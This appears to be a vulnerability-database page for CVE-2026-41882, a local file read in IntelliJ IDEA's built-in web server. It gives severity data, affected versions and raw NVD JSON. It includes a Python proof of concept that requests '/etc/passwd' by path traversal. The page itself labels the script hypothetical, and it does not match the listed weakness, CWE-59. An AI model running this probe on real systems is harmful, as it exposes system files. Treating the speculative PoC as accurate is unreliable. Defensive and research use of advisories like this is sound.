Security Vulnerability Report
中文
CVE-2026-41882 CVSS 7.4 HIGH

CVE-2026-41882

Published: 2026-04-30 12:16:24
Last Modified: 2026-05-05 00:24:51

Description

In JetBrains IntelliJ IDEA before 2024.3.7.1, 2025.1.7.1, 2025.2.6.2, 2025.3.4.1, 2026.1.1 reading arbitrary local files was possible via built-in web server

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:jetbrains:intellij_idea:2024.3.7.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:jetbrains:intellij_idea:2025.1.7.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:jetbrains:intellij_idea:2025.2.6.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:jetbrains:intellij_idea:2025.3.4.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:jetbrains:intellij_idea:2026.1.1:*:*:*:*:*:*:* - VULNERABLE
IntelliJ IDEA < 2024.3.7.1
IntelliJ IDEA < 2025.1.7.1
IntelliJ IDEA < 2025.2.6.2
IntelliJ IDEA < 2025.3.4.1
IntelliJ IDEA < 2026.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41882 (Hypothetical Example) import requests def check_vulnerability(target_url): # Payload attempting to read /etc/passwd (Linux) or C:\Windows\win.ini (Windows) # Adjust the path traversal sequence based on the actual vulnerability behavior traversal_payload = "../../../../../etc/passwd" try: # Construct the full malicious URL # Assuming the built-in server runs on a specific port or endpoint exploit_url = f"{target_url}/{traversal_payload}" response = requests.get(exploit_url, timeout=5) if response.status_code == 200: if "root:" in response.text: print(f"[+] Vulnerability confirmed! File content retrieved:") print(response.text[:200]) else: print(f"[?] Request successful but file content pattern not found.") else: print(f"[-] Exploit failed. HTTP Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL of the built-in web server target = "http://127.0.0.1:63342" check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41882", "sourceIdentifier": "[email protected]", "published": "2026-04-30T12:16:24.207", "lastModified": "2026-05-05T00:24:51.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains IntelliJ IDEA before 2024.3.7.1, \n2025.1.7.1,\n2025.2.6.2, \n2025.3.4.1, \n2026.1.1 reading arbitrary local files was possible via built-in web server"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:intellij_idea:2024.3.7.1:*:*:*:*:*:*:*", "matchCriteriaId": "EEC9F09B-A0EC-4986-8353-B7527B6B8ED7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:intellij_idea:2025.1.7.1:*:*:*:*:*:*:*", "matchCriteriaId": "16A855A8-FE1F-421A-BA80-C1A987BC350B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:intellij_idea:2025.2.6.2:*:*:*:*:*:*:*", "matchCriteriaId": "3FC2B43F-676C-491D-B95C-AD100375AA8F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:intellij_idea:2025.3.4.1:*:*:*:*:*:*:*", "matchCriteriaId": "2AFFDF00-92C7-45A4-8BF6-47FC6AC92A08"}, {"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:intellij_idea:2026.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "F8A5C25B-1AE3-4CA0-A4CD-7FE1448515CC"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}